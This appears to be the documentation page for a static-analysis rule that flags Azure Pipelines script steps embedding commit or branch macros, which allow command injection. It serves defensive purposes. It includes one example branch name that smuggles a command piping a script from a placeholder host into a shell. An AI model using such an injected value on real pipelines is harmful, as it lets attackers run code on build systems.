Skip to main content

What it flags

A script:, bash:, powershell: or pwsh: step, or the inline script input of a Bash, CmdLine, PowerShell, PythonScript, AzureCLI or AzurePowerShell task, whose text contains a $(...) macro for commit or branch text: $(Build.SourceVersionMessage), $(Build.SourceVersionAuthor), $(Build.SourceBranch), $(Build.SourceBranchName), $(System.PullRequest.SourceBranch) and $(System.PullRequest.SourceBranchName), in any letter case. ${{ variables['Build.SourceBranch'] }} and ${{ variables['Build.SourceBranchName'] }} count too. The agent replaces macros in the script text before the shell runs it, so quoting does not help: a branch named x";curl evil.sh|sh;" becomes commands. Steps are found in steps: at any level, including stages, jobs and deployment strategies, in azure-pipelines.yml and .azure-pipelines/*.yml. Azure DevOps docs Not flagged: the same macro under env: or displayName:, the environment variable read by the shell ($BUILD_SOURCEBRANCHNAME), task arguments:, inputs of other tasks, and template expressions that call a function such as eq(). Template parameters are not checked, because whoever can set them can usually edit the pipeline.

Configuration

Set the rule to "off" in loadwise.config.json to drop its findings: